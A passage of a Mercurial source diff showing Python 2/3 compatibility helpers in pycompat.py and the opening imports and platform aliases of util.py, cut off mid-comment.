172 # a silly wrapper to make a bytes stream backed by a unicode one.
151 # a silly wrapper to make a bytes stream backed by a unicode one.
173 stdin = sys.stdin.buffer
152 stdin = sys.stdin.buffer
174 stdout = sys.stdout.buffer
153 stdout = sys.stdout.buffer
175 stderr = sys.stderr.buffer
154 stderr = sys.stderr.buffer
176
155
177 if getattr(sys, 'argv', None) is not None:
156 if getattr(sys, 'argv', None) is not None:
178 # On POSIX, the char** argv array is converted to Python str using
157 # On POSIX, the char** argv array is converted to Python str using
179 # Py_DecodeLocale(). The inverse of this is Py_EncodeLocale(), which
158 # Py_DecodeLocale(). The inverse of this is Py_EncodeLocale(), which
180 # isn't directly callable from Python code. In practice, os.fsencode()
159 # isn't directly callable from Python code. In practice, os.fsencode()
181 # can be used instead (this is recommended by Python's documentation
160 # can be used instead (this is recommended by Python's documentation
182 # for sys.argv).
161 # for sys.argv).
183 #
162 #
184 # On Windows, the wchar_t **argv is passed into the interpreter as-is.
163 # On Windows, the wchar_t **argv is passed into the interpreter as-is.
185 # Like POSIX, we need to emulate what Py_EncodeLocale() would do. But
164 # Like POSIX, we need to emulate what Py_EncodeLocale() would do. But
186 # there's an additional wrinkle. What we really want to access is the
165 # there's an additional wrinkle. What we really want to access is the
187 # ANSI codepage representation of the arguments, as this is what
166 # ANSI codepage representation of the arguments, as this is what
188 # `int main()` would receive if Python 3 didn't define `int wmain()`
167 # `int main()` would receive if Python 3 didn't define `int wmain()`
189 # (this is how Python 2 worked). To get that, we encode with the mbcs
168 # (this is how Python 2 worked). To get that, we encode with the mbcs
190 # encoding, which will pass CP_ACP to the underlying Windows API to
169 # encoding, which will pass CP_ACP to the underlying Windows API to
191 # produce bytes.
170 # produce bytes.
192 if os.name == r'nt':
171 if os.name == r'nt':
193 sysargv = [a.encode("mbcs", "ignore") for a in sys.argv]
172 sysargv = [a.encode("mbcs", "ignore") for a in sys.argv]
194 else:
173 else:
195 sysargv = [fsencode(a) for a in sys.argv]
174 sysargv = [fsencode(a) for a in sys.argv]
196
175
197 bytechr = struct.Struct('>B').pack
176 bytechr = struct.Struct('>B').pack
198 byterepr = b'%r'.__mod__
177 byterepr = b'%r'.__mod__
199
178
200 class bytestr(bytes):
179 class bytestr(bytes):
201 """A bytes which mostly acts as a Python 2 str
180 """A bytes which mostly acts as a Python 2 str
202
181
203 >>> bytestr(), bytestr(bytearray(b'foo')), bytestr(u'ascii'), bytestr(1)
182 >>> bytestr(), bytestr(bytearray(b'foo')), bytestr(u'ascii'), bytestr(1)
204 ('', 'foo', 'ascii', '1')
183 ('', 'foo', 'ascii', '1')
205 >>> s = bytestr(b'foo')
184 >>> s = bytestr(b'foo')
206 >>> assert s is bytestr(s)
185 >>> assert s is bytestr(s)
207
186
208 __bytes__() should be called if provided:
187 __bytes__() should be called if provided:
209
188
210 >>> class bytesable(object):
189 >>> class bytesable(object):
211 ... def __bytes__(self):
190 ... def __bytes__(self):
212 ... return b'bytes'
191 ... return b'bytes'
213 >>> bytestr(bytesable())
192 >>> bytestr(bytesable())
214 'bytes'
193 'bytes'
215
194
216 There's no implicit conversion from non-ascii str as its encoding is
195 There's no implicit conversion from non-ascii str as its encoding is
217 unknown:
196 unknown:
218
197
219 >>> bytestr(chr(0x80)) # doctest: +ELLIPSIS
198 >>> bytestr(chr(0x80)) # doctest: +ELLIPSIS
220 Traceback (most recent call last):
199 Traceback (most recent call last):
221 ...
200 ...
222 UnicodeEncodeError: ...
201 UnicodeEncodeError: ...
223
202
224 Comparison between bytestr and bytes should work:
203 Comparison between bytestr and bytes should work:
225
204
226 >>> assert bytestr(b'foo') == b'foo'
205 >>> assert bytestr(b'foo') == b'foo'
227 >>> assert b'foo' == bytestr(b'foo')
206 >>> assert b'foo' == bytestr(b'foo')
228 >>> assert b'f' in bytestr(b'foo')
207 >>> assert b'f' in bytestr(b'foo')
229 >>> assert bytestr(b'f') in b'foo'
208 >>> assert bytestr(b'f') in b'foo'
230
209
231 Sliced elements should be bytes, not integer:
210 Sliced elements should be bytes, not integer:
232
211
233 >>> s[1], s[:2]
212 >>> s[1], s[:2]
234 (b'o', b'fo')
213 (b'o', b'fo')
235 >>> list(s), list(reversed(s))
214 >>> list(s), list(reversed(s))
236 ([b'f', b'o', b'o'], [b'o', b'o', b'f'])
215 ([b'f', b'o', b'o'], [b'o', b'o', b'f'])
237
216
238 As bytestr type isn't propagated across operations, you need to cast
217 As bytestr type isn't propagated across operations, you need to cast
239 bytes to bytestr explicitly:
218 bytes to bytestr explicitly:
240
219
241 >>> s = bytestr(b'foo').upper()
220 >>> s = bytestr(b'foo').upper()
242 >>> t = bytestr(s)
221 >>> t = bytestr(s)
243 >>> s[0], t[0]
222 >>> s[0], t[0]
244 (70, b'F')
223 (70, b'F')
245
224
246 Be careful to not pass a bytestr object to a function which expects
225 Be careful to not pass a bytestr object to a function which expects
247 bytearray-like behavior.
226 bytearray-like behavior.
248
227
249 >>> t = bytes(t) # cast to bytes
228 >>> t = bytes(t) # cast to bytes
250 >>> assert type(t) is bytes
229 >>> assert type(t) is bytes
251 """
230 """
252
231
253 def __new__(cls, s=b''):
232 def __new__(cls, s=b''):
254 if isinstance(s, bytestr):
233 if isinstance(s, bytestr):
255 return s
234 return s
256 if not isinstance(
235 if not isinstance(
257 s, (bytes, bytearray)
236 s, (bytes, bytearray)
258 ) and not hasattr( # hasattr-py3-only
237 ) and not hasattr( # hasattr-py3-only
259 s, u'__bytes__'
238 s, u'__bytes__'
260 ):
239 ):
261 s = str(s).encode('ascii')
240 s = str(s).encode('ascii')
262 return bytes.__new__(cls, s)
241 return bytes.__new__(cls, s)
263
242
264 def __getitem__(self, key):
243 def __getitem__(self, key):
265 s = bytes.__getitem__(self, key)
244 s = bytes.__getitem__(self, key)
266 if not isinstance(s, bytes):
245 if not isinstance(s, bytes):
267 s = bytechr(s)
246 s = bytechr(s)
268 return s
247 return s
269
248
270 def __iter__(self):
249 def __iter__(self):
271 return iterbytestr(bytes.__iter__(self))
250 return iterbytestr(bytes.__iter__(self))
272
251
273 def __repr__(self):
252 def __repr__(self):
274 return bytes.__repr__(self)[1:] # drop b''
253 return bytes.__repr__(self)[1:] # drop b''
275
254
276 def iterbytestr(s):
255 def iterbytestr(s):
277 """Iterate bytes as if it were a str object of Python 2"""
256 """Iterate bytes as if it were a str object of Python 2"""
278 return map(bytechr, s)
257 return map(bytechr, s)
279
258
280 def maybebytestr(s):
259 def maybebytestr(s):
281 """Promote bytes to bytestr"""
260 """Promote bytes to bytestr"""
282 if isinstance(s, bytes):
261 if isinstance(s, bytes):
283 return bytestr(s)
262 return bytestr(s)
284 return s
263 return s
285
264
286 def sysbytes(s):
265 def sysbytes(s):
287 """Convert an internal str (e.g. keyword, __doc__) back to bytes
266 """Convert an internal str (e.g. keyword, __doc__) back to bytes
288
267
289 This never raises UnicodeEncodeError, but only ASCII characters
268 This never raises UnicodeEncodeError, but only ASCII characters
290 can be round-trip by sysstr(sysbytes(s)).
269 can be round-trip by sysstr(sysbytes(s)).
291 """
270 """
292 if isinstance(s, bytes):
271 if isinstance(s, bytes):
293 return s
272 return s
294 return s.encode('utf-8')
273 return s.encode('utf-8')
295
274
296 def sysstr(s):
275 def sysstr(s):
297 """Return a keyword str to be passed to Python functions such as
276 """Return a keyword str to be passed to Python functions such as
298 getattr() and str.encode()
277 getattr() and str.encode()
299
278
300 This never raises UnicodeDecodeError. Non-ascii characters are
279 This never raises UnicodeDecodeError. Non-ascii characters are
301 considered invalid and mapped to arbitrary but unique code points
280 considered invalid and mapped to arbitrary but unique code points
302 such that 'sysstr(a) != sysstr(b)' for all 'a != b'.
281 such that 'sysstr(a) != sysstr(b)' for all 'a != b'.
303 """
282 """
304 if isinstance(s, builtins.str):
283 if isinstance(s, builtins.str):
305 return s
284 return s
306 return s.decode('latin-1')
285 return s.decode('latin-1')
307
286
308 def strurl(url):
287 def strurl(url):
309 """Converts a bytes url back to str"""
288 """Converts a bytes url back to str"""
310 if isinstance(url, bytes):
289 if isinstance(url, bytes):
311 return url.decode('ascii')
290 return url.decode('ascii')
312 return url
291 return url
313
292
314 def bytesurl(url):
293 def bytesurl(url):
315 """Converts a str url to bytes by encoding in ascii"""
294 """Converts a str url to bytes by encoding in ascii"""
316 if isinstance(url, str):
295 if isinstance(url, str):
317 return url.encode('ascii')
296 return url.encode('ascii')
318 return url
297 return url
319
298
320 def raisewithtb(exc, tb):
299 def raisewithtb(exc, tb):
321 """Raise exception with the given traceback"""
300 """Raise exception with the given traceback"""
322 raise exc.with_traceback(tb)
301 raise exc.with_traceback(tb)
323
302
324 def getdoc(obj):
303 def getdoc(obj):
325 """Get docstring as bytes; may be None so gettext() won't confuse it
304 """Get docstring as bytes; may be None so gettext() won't confuse it
326 with _('')"""
305 with _('')"""
327 doc = getattr(obj, '__doc__', None)
306 doc = getattr(obj, '__doc__', None)
328 if doc is None:
307 if doc is None:
329 return doc
308 return doc
330 return sysbytes(doc)
309 return sysbytes(doc)
331
310
332 def _wrapattrfunc(f):
311 def _wrapattrfunc(f):
333 @functools.wraps(f)
312 @functools.wraps(f)
334 def w(object, name, *args):
313 def w(object, name, *args):
335 return f(object, sysstr(name), *args)
314 return f(object, sysstr(name), *args)
336
315
337 return w
316 return w
338
317
339 # these wrappers are automagically imported by hgloader
318 # these wrappers are automagically imported by hgloader
340 delattr = _wrapattrfunc(builtins.delattr)
319 delattr = _wrapattrfunc(builtins.delattr)
341 getattr = _wrapattrfunc(builtins.getattr)
320 getattr = _wrapattrfunc(builtins.getattr)
342 hasattr = _wrapattrfunc(builtins.hasattr)
321 hasattr = _wrapattrfunc(builtins.hasattr)
343 setattr = _wrapattrfunc(builtins.setattr)
322 setattr = _wrapattrfunc(builtins.setattr)
344 xrange = builtins.range
323 xrange = builtins.range
345 unicode = str
324 unicode = str
346
325
347 def open(name, mode=b'r', buffering=-1, encoding=None):
326 def open(name, mode=b'r', buffering=-1, encoding=None):
348 return builtins.open(name, sysstr(mode), buffering, encoding)
327 return builtins.open(name, sysstr(mode), buffering, encoding)
349
328
350 safehasattr = _wrapattrfunc(builtins.hasattr)
329 safehasattr = _wrapattrfunc(builtins.hasattr)
351
330
352 def _getoptbwrapper(orig, args, shortlist, namelist):
331 def _getoptbwrapper(orig, args, shortlist, namelist):
353 """
332 """
354 Takes bytes arguments, converts them to unicode, pass them to
333 Takes bytes arguments, converts them to unicode, pass them to
355 getopt.getopt(), convert the returned values back to bytes and then
334 getopt.getopt(), convert the returned values back to bytes and then
356 return them for Python 3 compatibility as getopt.getopt() don't accepts
335 return them for Python 3 compatibility as getopt.getopt() don't accepts
357 bytes on Python 3.
336 bytes on Python 3.
358 """
337 """
359 args = [a.decode('latin-1') for a in args]
338 args = [a.decode('latin-1') for a in args]
360 shortlist = shortlist.decode('latin-1')
339 shortlist = shortlist.decode('latin-1')
361 namelist = [a.decode('latin-1') for a in namelist]
340 namelist = [a.decode('latin-1') for a in namelist]
362 opts, args = orig(args, shortlist, namelist)
341 opts, args = orig(args, shortlist, namelist)
363 opts = [(a[0].encode('latin-1'), a[1].encode('latin-1')) for a in opts]
342 opts = [(a[0].encode('latin-1'), a[1].encode('latin-1')) for a in opts]
364 args = [a.encode('latin-1') for a in args]
343 args = [a.encode('latin-1') for a in args]
365 return opts, args
344 return opts, args
366
345
367 def strkwargs(dic):
346 def strkwargs(dic):
368 """
347 """
369 Converts the keys of a python dictonary to str i.e. unicodes so that
348 Converts the keys of a python dictonary to str i.e. unicodes so that
370 they can be passed as keyword arguments as dictonaries with bytes keys
349 they can be passed as keyword arguments as dictonaries with bytes keys
371 can't be passed as keyword arguments to functions on Python 3.
350 can't be passed as keyword arguments to functions on Python 3.
372 """
351 """
373 dic = {k.decode('latin-1'): v for k, v in dic.items()}
352 dic = {k.decode('latin-1'): v for k, v in dic.items()}
374 return dic
353 return dic
375
354
376 def byteskwargs(dic):
355 def byteskwargs(dic):
377 """
356 """
378 Converts keys of python dictonaries to bytes as they were converted to
357 Converts keys of python dictonaries to bytes as they were converted to
379 str to pass that dictonary as a keyword argument on Python 3.
358 str to pass that dictonary as a keyword argument on Python 3.
380 """
359 """
381 dic = {k.encode('latin-1'): v for k, v in dic.items()}
360 dic = {k.encode('latin-1'): v for k, v in dic.items()}
382 return dic
361 return dic
383
362
384 # TODO: handle shlex.shlex().
363 # TODO: handle shlex.shlex().
385 def shlexsplit(s, comments=False, posix=True):
364 def shlexsplit(s, comments=False, posix=True):
386 """
365 """
387 Takes bytes argument, convert it to str i.e. unicodes, pass that into
366 Takes bytes argument, convert it to str i.e. unicodes, pass that into
388 shlex.split(), convert the returned value to bytes and return that for
367 shlex.split(), convert the returned value to bytes and return that for
389 Python 3 compatibility as shelx.split() don't accept bytes on Python 3.
368 Python 3 compatibility as shelx.split() don't accept bytes on Python 3.
390 """
369 """
391 ret = shlex.split(s.decode('latin-1'), comments, posix)
370 ret = shlex.split(s.decode('latin-1'), comments, posix)
392 return [a.encode('latin-1') for a in ret]
371 return [a.encode('latin-1') for a in ret]
393
372
394 iteritems = lambda x: x.items()
373 iteritems = lambda x: x.items()
395 itervalues = lambda x: x.values()
374 itervalues = lambda x: x.values()
396
375
397 # Python 3.5's json.load and json.loads require str. We polyfill its
376 # Python 3.5's json.load and json.loads require str. We polyfill its
398 # code for detecting encoding from bytes.
377 # code for detecting encoding from bytes.
399 if sys.version_info[0:2] < (3, 6):
378 if sys.version_info[0:2] < (3, 6):
400
379
401 def _detect_encoding(b):
380 def _detect_encoding(b):
402 bstartswith = b.startswith
381 bstartswith = b.startswith
403 if bstartswith((codecs.BOM_UTF32_BE, codecs.BOM_UTF32_LE)):
382 if bstartswith((codecs.BOM_UTF32_BE, codecs.BOM_UTF32_LE)):
404 return 'utf-32'
383 return 'utf-32'
405 if bstartswith((codecs.BOM_UTF16_BE, codecs.BOM_UTF16_LE)):
384 if bstartswith((codecs.BOM_UTF16_BE, codecs.BOM_UTF16_LE)):
406 return 'utf-16'
385 return 'utf-16'
407 if bstartswith(codecs.BOM_UTF8):
386 if bstartswith(codecs.BOM_UTF8):
408 return 'utf-8-sig'
387 return 'utf-8-sig'
409
388
410 if len(b) >= 4:
389 if len(b) >= 4:
411 if not b[0]:
390 if not b[0]:
412 # 00 00 -- -- - utf-32-be
391 # 00 00 -- -- - utf-32-be
413 # 00 XX -- -- - utf-16-be
392 # 00 XX -- -- - utf-16-be
414 return 'utf-16-be' if b[1] else 'utf-32-be'
393 return 'utf-16-be' if b[1] else 'utf-32-be'
415 if not b[1]:
394 if not b[1]:
416 # XX 00 00 00 - utf-32-le
395 # XX 00 00 00 - utf-32-le
417 # XX 00 00 XX - utf-16-le
396 # XX 00 00 XX - utf-16-le
418 # XX 00 XX -- - utf-16-le
397 # XX 00 XX -- - utf-16-le
419 return 'utf-16-le' if b[2] or b[3] else 'utf-32-le'
398 return 'utf-16-le' if b[2] or b[3] else 'utf-32-le'
420 elif len(b) == 2:
399 elif len(b) == 2:
421 if not b[0]:
400 if not b[0]:
422 # 00 XX - utf-16-be
401 # 00 XX - utf-16-be
423 return 'utf-16-be'
402 return 'utf-16-be'
424 if not b[1]:
403 if not b[1]:
425 # XX 00 - utf-16-le
404 # XX 00 - utf-16-le
426 return 'utf-16-le'
405 return 'utf-16-le'
427 # default
406 # default
428 return 'utf-8'
407 return 'utf-8'
429
408
430 def json_loads(s, *args, **kwargs):
409 def json_loads(s, *args, **kwargs):
431 if isinstance(s, (bytes, bytearray)):
410 if isinstance(s, (bytes, bytearray)):
432 s = s.decode(_detect_encoding(s), 'surrogatepass')
411 s = s.decode(_detect_encoding(s), 'surrogatepass')
433
412
434 return json.loads(s, *args, **kwargs)
413 return json.loads(s, *args, **kwargs)
435
414
436 else:
415 else:
437 json_loads = json.loads
416 json_loads = json.loads
438
417
439 else:
418 else:
440 import cStringIO
419 import cStringIO
441
420
442 xrange = xrange
421 xrange = xrange
443 unicode = unicode
422 unicode = unicode
444 bytechr = chr
423 bytechr = chr
445 byterepr = repr
424 byterepr = repr
446 bytestr = str
425 bytestr = str
447 iterbytestr = iter
426 iterbytestr = iter
448 maybebytestr = identity
427 maybebytestr = identity
449 sysbytes = identity
428 sysbytes = identity
450 sysstr = identity
429 sysstr = identity
451 strurl = identity
430 strurl = identity
452 bytesurl = identity
431 bytesurl = identity
453 open = open
432 open = open
454 delattr = delattr
433 delattr = delattr
455 getattr = getattr
434 getattr = getattr
456 hasattr = hasattr
435 hasattr = hasattr
457 setattr = setattr
436 setattr = setattr
458
437
459 # this can't be parsed on Python 3
438 # this can't be parsed on Python 3
460 exec(b'def raisewithtb(exc, tb):\n raise exc, None, tb\n')
439 exec(b'def raisewithtb(exc, tb):\n raise exc, None, tb\n')
461
440
462 def fsencode(filename):
441 def fsencode(filename):
463 """
442 """
464 Partial backport from os.py in Python 3, which only accepts bytes.
443 Partial backport from os.py in Python 3, which only accepts bytes.
465 In Python 2, our paths should only ever be bytes, a unicode path
444 In Python 2, our paths should only ever be bytes, a unicode path
466 indicates a bug.
445 indicates a bug.
467 """
446 """
468 if isinstance(filename, str):
447 if isinstance(filename, str):
469 return filename
448 return filename
470 else:
449 else:
471 raise TypeError("expect str, not %s" % type(filename).__name__)
450 raise TypeError("expect str, not %s" % type(filename).__name__)
472
451
473 # In Python 2, fsdecode() has a very chance to receive bytes. So it's
452 # In Python 2, fsdecode() has a very chance to receive bytes. So it's
474 # better not to touch Python 2 part as it's already working fine.
453 # better not to touch Python 2 part as it's already working fine.
475 fsdecode = identity
454 fsdecode = identity
476
455
477 def getdoc(obj):
456 def getdoc(obj):
478 return getattr(obj, '__doc__', None)
457 return getattr(obj, '__doc__', None)
479
458
480 _notset = object()
459 _notset = object()
481
460
482 def safehasattr(thing, attr):
461 def safehasattr(thing, attr):
483 return getattr(thing, attr, _notset) is not _notset
462 return getattr(thing, attr, _notset) is not _notset
484
463
485 def _getoptbwrapper(orig, args, shortlist, namelist):
464 def _getoptbwrapper(orig, args, shortlist, namelist):
486 return orig(args, shortlist, namelist)
465 return orig(args, shortlist, namelist)
487
466
488 strkwargs = identity
467 strkwargs = identity
489 byteskwargs = identity
468 byteskwargs = identity
490
469
491 oscurdir = os.curdir
470 oscurdir = os.curdir
492 oslinesep = os.linesep
471 oslinesep = os.linesep
493 osname = os.name
472 osname = os.name
494 ospathsep = os.pathsep
473 ospathsep = os.pathsep
495 ospardir = os.pardir
474 ospardir = os.pardir
496 ossep = os.sep
475 ossep = os.sep
497 osaltsep = os.altsep
476 osaltsep = os.altsep
498 osdevnull = os.devnull
477 osdevnull = os.devnull
499 long = long
478 long = long
500 stdin = sys.stdin
479 stdin = sys.stdin
501 stdout = sys.stdout
480 stdout = sys.stdout
502 stderr = sys.stderr
481 stderr = sys.stderr
503 if getattr(sys, 'argv', None) is not None:
482 if getattr(sys, 'argv', None) is not None:
504 sysargv = sys.argv
483 sysargv = sys.argv
505 sysplatform = sys.platform
484 sysplatform = sys.platform
506 sysexecutable = sys.executable
485 sysexecutable = sys.executable
507 shlexsplit = shlex.split
486 shlexsplit = shlex.split
508 bytesio = cStringIO.StringIO
487 bytesio = cStringIO.StringIO
509 stringio = bytesio
488 stringio = bytesio
510 maplist = map
489 maplist = map
511 rangelist = range
490 rangelist = range
512 ziplist = zip
491 ziplist = zip
513 rawinput = raw_input
492 rawinput = raw_input
514 getargspec = inspect.getargspec
493 getargspec = inspect.getargspec
515 iteritems = lambda x: x.iteritems()
494 iteritems = lambda x: x.iteritems()
516 itervalues = lambda x: x.itervalues()
495 itervalues = lambda x: x.itervalues()
517 json_loads = json.loads
496 json_loads = json.loads
518
497
519 isjython = sysplatform.startswith(b'java')
498 isjython = sysplatform.startswith(b'java')
520
499
521 isdarwin = sysplatform.startswith(b'darwin')
500 isdarwin = sysplatform.startswith(b'darwin')
522 islinux = sysplatform.startswith(b'linux')
501 islinux = sysplatform.startswith(b'linux')
523 isposix = osname == b'posix'
502 isposix = osname == b'posix'
524 iswindows = osname == b'nt'
503 iswindows = osname == b'nt'
525
504
526
505
527 def getoptb(args, shortlist, namelist):
506 def getoptb(args, shortlist, namelist):
528 return _getoptbwrapper(getopt.getopt, args, shortlist, namelist)
507 return _getoptbwrapper(getopt.getopt, args, shortlist, namelist)
529
508
530
509
531 def gnugetoptb(args, shortlist, namelist):
510 def gnugetoptb(args, shortlist, namelist):
532 return _getoptbwrapper(getopt.gnu_getopt, args, shortlist, namelist)
511 return _getoptbwrapper(getopt.gnu_getopt, args, shortlist, namelist)
533
512
534
513
535 def mkdtemp(suffix=b'', prefix=b'tmp', dir=None):
514 def mkdtemp(suffix=b'', prefix=b'tmp', dir=None):
536 return tempfile.mkdtemp(suffix, prefix, dir)
515 return tempfile.mkdtemp(suffix, prefix, dir)
537
516
538
517
539 # text=True is not supported; use util.from/tonativeeol() instead
518 # text=True is not supported; use util.from/tonativeeol() instead
540 def mkstemp(suffix=b'', prefix=b'tmp', dir=None):
519 def mkstemp(suffix=b'', prefix=b'tmp', dir=None):
541 return tempfile.mkstemp(suffix, prefix, dir)
520 return tempfile.mkstemp(suffix, prefix, dir)
542
521
543
522
544 # mode must include 'b'ytes as encoding= is not supported
523 # mode must include 'b'ytes as encoding= is not supported
545 def namedtempfile(
524 def namedtempfile(
546 mode=b'w+b', bufsize=-1, suffix=b'', prefix=b'tmp', dir=None, delete=True
525 mode=b'w+b', bufsize=-1, suffix=b'', prefix=b'tmp', dir=None, delete=True
547 ):
526 ):
548 mode = sysstr(mode)
527 mode = sysstr(mode)
549 assert 'b' in mode
528 assert 'b' in mode
550 return tempfile.NamedTemporaryFile(
529 return tempfile.NamedTemporaryFile(
551 mode, bufsize, suffix=suffix, prefix=prefix, dir=dir, delete=delete
530 mode, bufsize, suffix=suffix, prefix=prefix, dir=dir, delete=delete
552 )
531 )
@@ -1,3598 +1,3628 b''
1 # util.py - Mercurial utility functions and platform specific implementations
1 # util.py - Mercurial utility functions and platform specific implementations
2 #
2 #
3 # Copyright 2005 K. Thananchayan <thananck@yahoo.com>
3 # Copyright 2005 K. Thananchayan <thananck@yahoo.com>
4 # Copyright 2005-2007 Matt Mackall <mpm@selenic.com>
4 # Copyright 2005-2007 Matt Mackall <mpm@selenic.com>
5 # Copyright 2006 Vadim Gelfer <vadim.gelfer@gmail.com>
5 # Copyright 2006 Vadim Gelfer <vadim.gelfer@gmail.com>
6 #
6 #
7 # This software may be used and distributed according to the terms of the
7 # This software may be used and distributed according to the terms of the
8 # GNU General Public License version 2 or any later version.
8 # GNU General Public License version 2 or any later version.
9
9
10 """Mercurial utility functions and platform specific implementations.
10 """Mercurial utility functions and platform specific implementations.
11
11
12 This contains helper routines that are independent of the SCM core and
12 This contains helper routines that are independent of the SCM core and
13 hide platform-specific details from the core.
13 hide platform-specific details from the core.
14 """
14 """
15
15
16 from __future__ import absolute_import, print_function
16 from __future__ import absolute_import, print_function
17
17
18 import abc
18 import abc
19 import collections
19 import collections
20 import contextlib
20 import contextlib
21 import errno
21 import errno
22 import gc
22 import gc
23 import hashlib
23 import hashlib
24 import itertools
24 import itertools
25 import locale
25 import mmap
26 import mmap
26 import os
27 import os
27 import platform as pyplatform
28 import platform as pyplatform
28 import re as remod
29 import re as remod
29 import shutil
30 import shutil
30 import socket
31 import socket
31 import stat
32 import stat
32 import sys
33 import sys
33 import time
34 import time
34 import traceback
35 import traceback
35 import warnings
36 import warnings
36
37
37 from .thirdparty import attr
38 from .thirdparty import attr
38 from .pycompat import (
39 from .pycompat import (
39 delattr,
40 delattr,
40 getattr,
41 getattr,
41 open,
42 open,
42 setattr,
43 setattr,
43 )
44 )
44 from hgdemandimport import tracing
45 from hgdemandimport import tracing
45 from . import (
46 from . import (
46 encoding,
47 encoding,
47 error,
48 error,
48 i18n,
49 i18n,
49 node as nodemod,
50 node as nodemod,
50 policy,
51 policy,
51 pycompat,
52 pycompat,
52 urllibcompat,
53 urllibcompat,
53 )
54 )
54 from .utils import (
55 from .utils import (
55 compression,
56 compression,
56 hashutil,
57 hashutil,
57 procutil,
58 procutil,
58 stringutil,
59 stringutil,
59 )
60 )
60
61
61 base85 = policy.importmod('base85')
62 base85 = policy.importmod('base85')
62 osutil = policy.importmod('osutil')
63 osutil = policy.importmod('osutil')
63
64
64 b85decode = base85.b85decode
65 b85decode = base85.b85decode
65 b85encode = base85.b85encode
66 b85encode = base85.b85encode
66
67
67 cookielib = pycompat.cookielib
68 cookielib = pycompat.cookielib
68 httplib = pycompat.httplib
69 httplib = pycompat.httplib
69 pickle = pycompat.pickle
70 pickle = pycompat.pickle
70 safehasattr = pycompat.safehasattr
71 safehasattr = pycompat.safehasattr
71 socketserver = pycompat.socketserver
72 socketserver = pycompat.socketserver
72 bytesio = pycompat.bytesio
73 bytesio = pycompat.bytesio
73 # TODO deprecate stringio name, as it is a lie on Python 3.
74 # TODO deprecate stringio name, as it is a lie on Python 3.
74 stringio = bytesio
75 stringio = bytesio
75 xmlrpclib = pycompat.xmlrpclib
76 xmlrpclib = pycompat.xmlrpclib
76
77
77 httpserver = urllibcompat.httpserver
78 httpserver = urllibcompat.httpserver
78 urlerr = urllibcompat.urlerr
79 urlerr = urllibcompat.urlerr
79 urlreq = urllibcompat.urlreq
80 urlreq = urllibcompat.urlreq
80
81
81 # workaround for win32mbcs
82 # workaround for win32mbcs
82 _filenamebytestr = pycompat.bytestr
83 _filenamebytestr = pycompat.bytestr
83
84
84 if pycompat.iswindows:
85 if pycompat.iswindows:
85 from . import windows as platform
86 from . import windows as platform
86 else:
87 else:
87 from . import posix as platform
88 from . import posix as platform
88
89
89 _ = i18n._
90 _ = i18n._
90
91
91 bindunixsocket = platform.bindunixsocket
92 bindunixsocket = platform.bindunixsocket
92 cachestat = platform.cachestat
93 cachestat = platform.cachestat
93 checkexec = platform.checkexec
94 checkexec = platform.checkexec
94 checklink = platform.checklink
95 checklink = platform.checklink
95 copymode = platform.copymode
96 copymode = platform.copymode
96 expandglobs = platform.expandglobs
97 expandglobs = platform.expandglobs
97 getfsmountpoint = platform.getfsmountpoint
98 getfsmountpoint = platform.getfsmountpoint
98 getfstype = platform.getfstype
99 getfstype = platform.getfstype
99 groupmembers = platform.groupmembers
100 groupmembers = platform.groupmembers
100 groupname = platform.groupname
101 groupname = platform.groupname
101 isexec = platform.isexec
102 isexec = platform.isexec
102 isowner = platform.isowner
103 isowner = platform.isowner
103 listdir = osutil.listdir
104 listdir = osutil.listdir
104 localpath = platform.localpath
105 localpath = platform.localpath
105 lookupreg = platform.lookupreg
106 lookupreg = platform.lookupreg
106 makedir = platform.makedir
107 makedir = platform.makedir
107 nlinks = platform.nlinks
108 nlinks = platform.nlinks
108 normpath = platform.normpath
109 normpath = platform.normpath
109 normcase = platform.normcase
110 normcase = platform.normcase
110 normcasespec = platform.normcasespec
111 normcasespec = platform.normcasespec
111 normcasefallback = platform.normcasefallback
112 normcasefallback = platform.normcasefallback
112 openhardlinks = platform.openhardlinks
113 openhardlinks = platform.openhardlinks
113 oslink = platform.oslink
114 oslink = platform.oslink
114 parsepatchoutput = platform.parsepatchoutput
115 parsepatchoutput = platform.parsepatchoutput
115 pconvert = platform.pconvert
116 pconvert = platform.pconvert
116 poll = platform.poll
117 poll = platform.poll
117 posixfile = platform.posixfile
118 posixfile = platform.posixfile
118 readlink = platform.readlink
119 readlink = platform.readlink
119 rename = platform.rename
120 rename = platform.rename
120 removedirs = platform.removedirs
121 removedirs = platform.removedirs
121 samedevice = platform.samedevice
122 samedevice = platform.samedevice
122 samefile = platform.samefile
123 samefile = platform.samefile
123 samestat = platform.samestat
124 samestat = platform.samestat
124 setflags = platform.setflags
125 setflags = platform.setflags
125 split = platform.split
126 split = platform.split
126 statfiles = getattr(osutil, 'statfiles', platform.statfiles)
127 statfiles = getattr(osutil, 'statfiles', platform.statfiles)
127 statisexec = platform.statisexec
128 statisexec = platform.statisexec
128 statislink = platform.statislink
129 statislink = platform.statislink
129 umask = platform.umask
130 umask = platform.umask
130 unlink = platform.unlink
131 unlink = platform.unlink
131 username = platform.username
132 username = platform.username
132
133
133
134
134 def setumask(val):
135 def setumask(val):
135 ''' updates the umask. used by chg server '''
136 ''' updates the umask. used by chg server '''
136 if pycompat.iswindows:
137 if pycompat.iswindows:
137 return
138 return
138 os.umask(val)
139 os.umask(val)
139 global umask
140 global umask
140 platform.umask = umask = val & 0o777
141 platform.umask = umask = val & 0o777
141
142
142
143
143 # small compat layer
144 # small compat layer
144 compengines = compression.compengines
145 compengines = compression.compengines
145 SERVERROLE = compression.SERVERROLE
146 SERVERROLE = compression.SERVERROLE
146 CLIENTROLE = compression.CLIENTROLE
147 CLIENTROLE = compression.CLIENTROLE
147
148
148 try:
149 try:
149 recvfds = osutil.recvfds
150 recvfds = osutil.recvfds
150 except AttributeError:
151 except AttributeError:
151 pass
152 pass
152
153
153 # Python compatibility
154 # Python compatibility
154
155
155 _notset = object()
156 _notset = object()
156
157
157
158
158 def bitsfrom(container):
159 def bitsfrom(container):
159 bits = 0
160 bits = 0
160 for bit in container:
161 for bit in container:
161 bits |= bit
162 bits |= bit
162 return bits
163 return bits
163
164
164
165
165 # python 2.6 still have deprecation warning enabled by default. We do not want
166 # python 2.6 still have deprecation warning enabled by default. We do not want
166 # to display anything to standard user so detect if we are running test and
167 # to display anything to standard user so detect if we are running test and
167 # only use python deprecation warning in this case.
168 # only use python deprecation warning in this case.
168 _dowarn = bool(encoding.environ.get(b'HGEMITWARNINGS'))
169 _dowarn = bool(encoding.environ.get(b'HGEMITWARNINGS'))
169 if _dowarn:
170 if _dowarn:
170 # explicitly unfilter our warning for python 2.7
171 # explicitly unfilter our warning for python 2.7
171 #
172 #
172 # The option of setting PYTHONWARNINGS in the test runner was investigated.
